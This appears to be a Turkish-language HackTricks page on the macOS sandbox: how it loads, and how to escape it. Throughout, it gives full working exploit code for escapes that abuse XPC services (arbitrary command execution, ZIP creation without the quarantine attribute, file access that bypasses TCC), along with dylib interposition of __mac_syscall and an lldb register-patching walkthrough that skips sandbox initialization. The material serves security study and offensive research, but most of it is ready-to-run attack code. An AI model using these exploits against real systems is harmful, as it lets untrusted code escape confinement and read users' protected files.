macOS Sandbox Debug & Bypass
Reading time: 14 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
Sandbox yükleme süreci
Önceki resimde, com.apple.security.app-sandbox
yetkisine sahip bir uygulama çalıştırıldığında sandbox'ın nasıl yükleneceği gözlemlenebilir.
Derleyici, /usr/lib/libSystem.B.dylib
dosyasını ikili dosyaya bağlayacaktır.
Daha sonra, libSystem.B
, xpc_pipe_routine
uygulamanın yetkilerini securityd
'ye gönderene kadar diğer birkaç fonksiyonu çağıracaktır. Securityd, sürecin Sandbox içinde karantinaya alınması gerekip gerekmediğini kontrol eder ve eğer öyleyse, karantinaya alır.
Son olarak, sandbox, __sandbox_ms
çağrısıyla etkinleştirilecek ve bu da __mac_syscall
'ı çağıracaktır.
Olası Bypass'ler
Karantina niteliğini atlama
Sandbox'lı süreçler tarafından oluşturulan dosyalar, sandbox kaçışını önlemek için karantina niteliği eklenir. Ancak, eğer bir sandbox'lı uygulama içinde karantina niteliği olmayan bir .app
klasörü oluşturmayı başarırsanız, uygulama paketinin ikili dosyasını /bin/bash
'e yönlendirebilir ve plist içinde bazı çevre değişkenleri ekleyerek open
komutunu kötüye kullanarak yeni uygulamayı sandbox'sız başlatabilirsiniz.
Bu, CVE-2023-32364'te yapılan şeydir.
caution
Bu nedenle, şu anda, eğer sadece karantina niteliği olmayan bir isimle biten bir .app
klasörü oluşturabiliyorsanız, sandbox'tan kaçabilirsiniz çünkü macOS yalnızca .app
klasörü ve ana çalıştırılabilir dosyada karantina niteliğini kontrol eder (ve biz ana çalıştırılabilir dosyayı /bin/bash
'e yönlendireceğiz).
Eğer bir .app paketi zaten çalıştırılmak üzere yetkilendirilmişse (çalıştırılmak üzere yetkilendirilmiş bayrağı olan bir karantina xttr'ı varsa), bunu da kötüye kullanabilirsiniz... tek farkla ki artık .app
paketleri içinde yazamazsınız, eğer bazı ayrıcalıklı TCC izinleriniz yoksa (ki bunlar yüksek bir sandbox içinde olmayacaktır).
Open işlevselliğini kötüye kullanma
Word sandbox bypass son örneklerinde, open
cli işlevselliğinin sandbox'ı atlamak için nasıl kötüye kullanılabileceği görülebilir.
Başlatma Ajanları/Daemon'ları
Bir uygulama sandbox'lı olacak şekilde tasarlanmışsa (com.apple.security.app-sandbox
), örneğin bir LaunchAgent'tan çalıştırıldığında sandbox'ı atlamak mümkündür.
bu yazıda açıklandığı gibi, sandbox'lı bir uygulama ile kalıcılık kazanmak istiyorsanız, otomatik olarak bir LaunchAgent olarak çalıştırılmasını sağlayabilir ve belki de DyLib çevre değişkenleri aracılığıyla kötü niyetli kod enjekte edebilirsiniz.
Otomatik Başlatma Konumlarını Kötüye Kullanma
Eğer bir sandbox'lı süreç, sonrasında bir sandbox'sız uygulamanın ikili dosyasını çalıştıracağı bir yere yazabiliyorsa, oraya ikili dosyayı yerleştirerek kaçabilir. Bu tür konumların iyi bir örneği ~/Library/LaunchAgents
veya /System/Library/LaunchDaemons
'dır.
Bunun için belki de 2 adım gerekebilir: Daha izinli bir sandbox (file-read*
, file-write*
) ile bir sürecin kodunuzu çalıştırmasını sağlamak ve bu kodun aslında sandbox'sız çalıştırılacağı bir yere yazmasını sağlamak.
Otomatik Başlatma konumları hakkında bu sayfayı kontrol edin:
Diğer süreçleri kötüye kullanma
Eğer o sandbox sürecinden, daha az kısıtlayıcı sandbox'larda (veya hiç) çalışan diğer süreçleri tehlikeye atabiliyorsanız, onların sandbox'larından kaçabilirsiniz:
Mevcut Sistem ve Kullanıcı Mach hizmetleri
Sandbox, ayrıca application.sb
profilinde tanımlanan belirli Mach hizmetleri ile iletişim kurmaya da izin verir. Eğer bu hizmetlerden birini kötüye kullanmayı başarırsanız, sandbox'tan kaçabilirsiniz.
Bu yazıda belirtildiği gibi, Mach hizmetleri hakkında bilgi /System/Library/xpc/launchd.plist
dosyasında saklanır. Tüm Sistem ve Kullanıcı Mach hizmetlerini bulmak için o dosyada <string>System</string>
ve <string>User</string>
araması yapabilirsiniz.
Ayrıca, bir Mach hizmetinin sandbox'lı bir uygulama için mevcut olup olmadığını kontrol etmek için bootstrap_look_up
çağrısı yapabilirsiniz:
void checkService(const char *serviceName) {
mach_port_t service_port = MACH_PORT_NULL;
kern_return_t err = bootstrap_look_up(bootstrap_port, serviceName, &service_port);
if (!err) {
NSLog(@"available service:%s", serviceName);
mach_port_deallocate(mach_task_self_, service_port);
}
}
void print_available_xpc(void) {
NSDictionary<NSString*, id>* dict = [NSDictionary dictionaryWithContentsOfFile:@"/System/Library/xpc/launchd.plist"];
NSDictionary<NSString*, id>* launchDaemons = dict[@"LaunchDaemons"];
for (NSString* key in launchDaemons) {
NSDictionary<NSString*, id>* job = launchDaemons[key];
NSDictionary<NSString*, id>* machServices = job[@"MachServices"];
for (NSString* serviceName in machServices) {
checkService(serviceName.UTF8String);
}
}
}
Mevcut PID Mach hizmetleri
Bu Mach hizmetleri, bu yazıda sandbox'tan kaçmak için ilk olarak istismar edildi. O zaman, bir uygulama ve çerçevesi tarafından gereken tüm XPC hizmetleri uygulamanın PID alanında görünür durumdaydı (bunlar ServiceType
olarak Application
olan Mach Hizmetleridir).
Bir PID Domain XPC hizmeti ile iletişim kurmak için, uygulama içinde şu şekilde kaydetmek yeterlidir:
[[NSBundle bundleWithPath:@“/System/Library/PrivateFrameworks/ShoveService.framework"]load];
Ayrıca, tüm Application Mach hizmetlerini System/Library/xpc/launchd.plist
içinde <string>Application</string>
arayarak bulmak mümkündür.
Geçerli xpc hizmetlerini bulmanın bir diğer yolu ise şunları kontrol etmektir:
find /System/Library/Frameworks -name "*.xpc"
find /System/Library/PrivateFrameworks -name "*.xpc"
Bu tekniği kötüye kullanan birkaç örnek orijinal yazıda bulunabilir, ancak aşağıda bazı özetlenmiş örnekler verilmiştir.
/System/Library/PrivateFrameworks/StorageKit.framework/XPCServices/storagekitfsrunner.xpc
Bu hizmet, her XPC bağlantısına her zaman YES
döndürerek izin verir ve runTask:arguments:withReply:
metodu, keyfi bir komutu keyfi parametrelerle çalıştırır.
Sömürü "şu kadar basitti":
@protocol SKRemoteTaskRunnerProtocol
-(void)runTask:(NSURL *)task arguments:(NSArray *)args withReply:(void (^)(NSNumber *, NSError *))reply;
@end
void exploit_storagekitfsrunner(void) {
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/StorageKit.framework"] load];
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.storagekitfsrunner"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SKRemoteTaskRunnerProtocol)];
[conn setInterruptionHandler:^{NSLog(@"connection interrupted!");}];
[conn setInvalidationHandler:^{NSLog(@"connection invalidated!");}];
[conn resume];
[[conn remoteObjectProxy] runTask:[NSURL fileURLWithPath:@"/usr/bin/touch"] arguments:@[@"/tmp/sbx"] withReply:^(NSNumber *bSucc, NSError *error) {
NSLog(@"run task result:%@, error:%@", bSucc, error);
}];
}
/System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework/XPCServices/AudioAnalyticsHelperService.xpc
Bu XPC servisi, her istemciye her zaman YES döndürerek izin verdi ve createZipAtPath:hourThreshold:withReply:
metodu, sıkıştırılacak bir klasörün yolunu belirtmeye olanak tanıdı ve bunu bir ZIP dosyası olarak sıkıştırdı.
Bu nedenle, sahte bir uygulama klasör yapısı oluşturmak, sıkıştırmak, ardından açmak ve çalıştırmak mümkün, çünkü yeni dosyalar karantina niteliğine sahip olmayacak.
Sömürü şuydu:
@protocol AudioAnalyticsHelperServiceProtocol
-(void)pruneZips:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply;
-(void)createZipAtPath:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply;
@end
void exploit_AudioAnalyticsHelperService(void) {
NSString *currentPath = NSTemporaryDirectory();
chdir([currentPath UTF8String]);
NSLog(@"======== preparing payload at the current path:%@", currentPath);
system("mkdir -p compressed/poc.app/Contents/MacOS; touch 1.json");
[@"#!/bin/bash\ntouch /tmp/sbx\n" writeToFile:@"compressed/poc.app/Contents/MacOS/poc" atomically:YES encoding:NSUTF8StringEncoding error:0];
system("chmod +x compressed/poc.app/Contents/MacOS/poc");
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework"] load];
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.internal.audioanalytics.helper"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(AudioAnalyticsHelperServiceProtocol)];
[conn resume];
[[conn remoteObjectProxy] createZipAtPath:currentPath hourThreshold:0 withReply:^(id *error){
NSDirectoryEnumerator *dirEnum = [[[NSFileManager alloc] init] enumeratorAtPath:currentPath];
NSString *file;
while ((file = [dirEnum nextObject])) {
if ([[file pathExtension] isEqualToString: @"zip"]) {
// open the zip
NSString *cmd = [@"open " stringByAppendingString:file];
system([cmd UTF8String]);
sleep(3); // wait for decompression and then open the payload (poc.app)
NSString *cmd2 = [NSString stringWithFormat:@"open /Users/%@/Downloads/%@/poc.app", NSUserName(), [file stringByDeletingPathExtension]];
system([cmd2 UTF8String]);
break;
}
}
}];
}
/System/Library/PrivateFrameworks/WorkflowKit.framework/XPCServices/ShortcutsFileAccessHelper.xpc
Bu XPC servisi, extendAccessToURL:completion:
yöntemi aracılığıyla XPC istemcisine keyfi bir URL'ye okuma ve yazma erişimi verme imkanı tanır ve bu yöntem herhangi bir bağlantıyı kabul eder. XPC servisi FDA'ya sahip olduğundan, bu izinlerin kötüye kullanılması TCC'yi tamamen atlatmak için mümkündür.
Sömürü şuydu:
@protocol WFFileAccessHelperProtocol
- (void) extendAccessToURL:(NSURL *) url completion:(void (^) (FPSandboxingURLWrapper *, NSError *))arg2;
@end
typedef int (*PFN)(const char *);
void expoit_ShortcutsFileAccessHelper(NSString *target) {
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/WorkflowKit.framework"]load];
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.WorkflowKit.ShortcutsFileAccessHelper"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(WFFileAccessHelperProtocol)];
[conn.remoteObjectInterface setClasses:[NSSet setWithArray:@[[NSError class], objc_getClass("FPSandboxingURLWrapper")]] forSelector:@selector(extendAccessToURL:completion:) argumentIndex:0 ofReply:1];
[conn resume];
[[conn remoteObjectProxy] extendAccessToURL:[NSURL fileURLWithPath:target] completion:^(FPSandboxingURLWrapper *fpWrapper, NSError *error) {
NSString *sbxToken = [[NSString alloc] initWithData:[fpWrapper scope] encoding:NSUTF8StringEncoding];
NSURL *targetURL = [fpWrapper url];
void *h = dlopen("/usr/lib/system/libsystem_sandbox.dylib", 2);
PFN sandbox_extension_consume = (PFN)dlsym(h, "sandbox_extension_consume");
if (sandbox_extension_consume([sbxToken UTF8String]) == -1)
NSLog(@"Fail to consume the sandbox token:%@", sbxToken);
else {
NSLog(@"Got the file R&W permission with sandbox token:%@", sbxToken);
NSLog(@"Read the target content:%@", [NSData dataWithContentsOfURL:targetURL]);
}
}];
}
Statik Derleme & Dinamik Bağlama
Bu araştırma Sandbox'ı atlatmanın 2 yolunu keşfetti. Çünkü sandbox, libSystem kütüphanesi yüklendiğinde kullanıcı alanından uygulanır. Eğer bir ikili bu kütüphaneyi yüklemekten kaçınabilirse, asla sandbox'a alınmaz:
- Eğer ikili tamamen statik olarak derlenmişse, o kütüphaneyi yüklemekten kaçınabilir.
- Eğer ikili herhangi bir kütüphaneyi yüklemeye ihtiyaç duymuyorsa (çünkü bağlayıcı da libSystem'dadır), libSystem'i yüklemesine gerek kalmaz.
Shell Kodları
Shell kodlarının ARM64'te bile libSystem.dylib
içinde bağlanması gerektiğini unutmayın:
ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64
Devralınmayan kısıtlamalar
bu yazının bonusunda açıklandığı gibi, bir sandbox kısıtlaması şöyle:
(version 1)
(allow default)
(deny file-write* (literal "/private/tmp/sbx"))
yeni bir sürecin örneğin çalıştırılmasıyla atlatılabilir:
mkdir -p /tmp/poc.app/Contents/MacOS
echo '#!/bin/sh\n touch /tmp/sbx' > /tmp/poc.app/Contents/MacOS/poc
chmod +x /tmp/poc.app/Contents/MacOS/poc
open /tmp/poc.app
Ancak, elbette, bu yeni süreç ebeveyn süreçten haklar veya ayrıcalıklar miras almayacaktır.
Haklar
Bir uygulama belirli bir hakka sahipse, bazı hareketlerin sandbox tarafından izin verilebileceğini unutmayın, örneğin:
(when (entitlement "com.apple.security.network.client")
(allow network-outbound (remote ip))
(allow mach-lookup
(global-name "com.apple.airportd")
(global-name "com.apple.cfnetwork.AuthBrokerAgent")
(global-name "com.apple.cfnetwork.cfnetworkagent")
[...]
Interposting Bypass
Daha fazla bilgi için Interposting kontrol edin:
Sandbox'ı önlemek için _libsecinit_initializer
'ı interpost et
// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
void _libsecinit_initializer(void);
void overriden__libsecinit_initializer(void) {
printf("_libsecinit_initializer called\n");
}
__attribute__((used, section("__DATA,__interpose"))) static struct {
void (*overriden__libsecinit_initializer)(void);
void (*_libsecinit_initializer)(void);
}
_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!
Interpost __mac_syscall
Sandbox'ı önlemek için
// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <string.h>
// Forward Declaration
int __mac_syscall(const char *_policyname, int _call, void *_arg);
// Replacement function
int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
printf("Bypassing Sandbox initiation.\n");
return 0; // pretend we did the job without actually calling __mac_syscall
}
// Call the original function for other cases
return __mac_syscall(_policyname, _call, _arg);
}
// Interpose Definition
struct interpose_sym {
const void *replacement;
const void *original;
};
// Interpose __mac_syscall with my_mac_syscall
__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
{ (const void *)my_mac_syscall, (const void *)__mac_syscall },
};
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 0
Bypassing Sandbox initiation.
__mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!
Debug & bypass Sandbox with lldb
Sandbox'lanması gereken bir uygulama derleyelim:
#include <stdlib.h>
int main() {
system("cat ~/Desktop/del.txt");
}
Sonra uygulamayı derleyin:
# Compile it
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand
# Create a certificate for "Code Signing"
# Apply the entitlements via signing
codesign -s <cert-name> --entitlements entitlements.xml sand
caution
Uygulama ~/Desktop/del.txt
dosyasını Sandbox'ın izin vermeyeceği şekilde okumaya çalışacak.
Sandbox aşıldığında okuyabilmesi için orada bir dosya oluşturun:
echo "Sandbox Bypassed" > ~/Desktop/del.txt
Uygulamayı hata ayıklayalım ve Sandbox'ın ne zaman yüklendiğini görelim:
# Load app in debugging
lldb ./sand
# Set breakpoint in xpc_pipe_routine
(lldb) b xpc_pipe_routine
# run
(lldb) r
# This breakpoint is reached by different functionalities
# Check in the backtrace is it was de sandbox one the one that reached it
# We are looking for the one libsecinit from libSystem.B, like the following one:
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine
frame #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584
frame #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64
frame #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80
frame #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272
# To avoid lldb cutting info
(lldb) settings set target.max-string-summary-length 10000
# The message is in the 2 arg of the xpc_pipe_routine function, get it with:
(lldb) p (char *) xpc_copy_description($x1)
(char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...
# The 3 arg is the address were the XPC response will be stored
(lldb) register read x2
x2 = 0x000000016fdfd660
# Move until the end of the function
(lldb) finish
# Read the response
## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY
(lldb) memory read -f p 0x000000016fdfd660 -c 1
0x16fdfd660: 0x0000600003d04000
(lldb) p (char *) xpc_copy_description(0x0000600003d04000)
(char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"
# To bypass the sandbox we need to skip the call to __mac_syscall
# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)
(lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)'
(lldb) c
# The 1 arg is the name of the policy, in this case "Sandbox"
(lldb) memory read -f s $x0
0x19300eb22: "Sandbox"
#
# BYPASS
#
# Due to the previous bp, the process will be stopped in:
Process 2517 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall
libsystem_kernel.dylib`:
-> 0x187659900 <+0>: mov x16, #0x17d
0x187659904 <+4>: svc #0x80
0x187659908 <+8>: b.lo 0x187659928 ; <+40>
0x18765990c <+12>: pacibsp
# To bypass jump to the b.lo address modifying some registers first
(lldb) breakpoint delete 1 # Remove bp
(lldb) register write $pc 0x187659928 #b.lo address
(lldb) register write $x0 0x00
(lldb) register write $x1 0x00
(lldb) register write $x16 0x17d
(lldb) c
Process 2517 resuming
Sandbox Bypassed!
Process 2517 exited with status = 0 (0x00000000)
[!WARNING] > Sandbox atlatılsa bile TCC kullanıcıdan sürecin masaüstünden dosya okumak isteyip istemediğini soracaktır.
References
- http://newosxbook.com/files/HITSB.pdf
- https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/
- https://www.youtube.com/watch?v=mG715HcDgO8
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.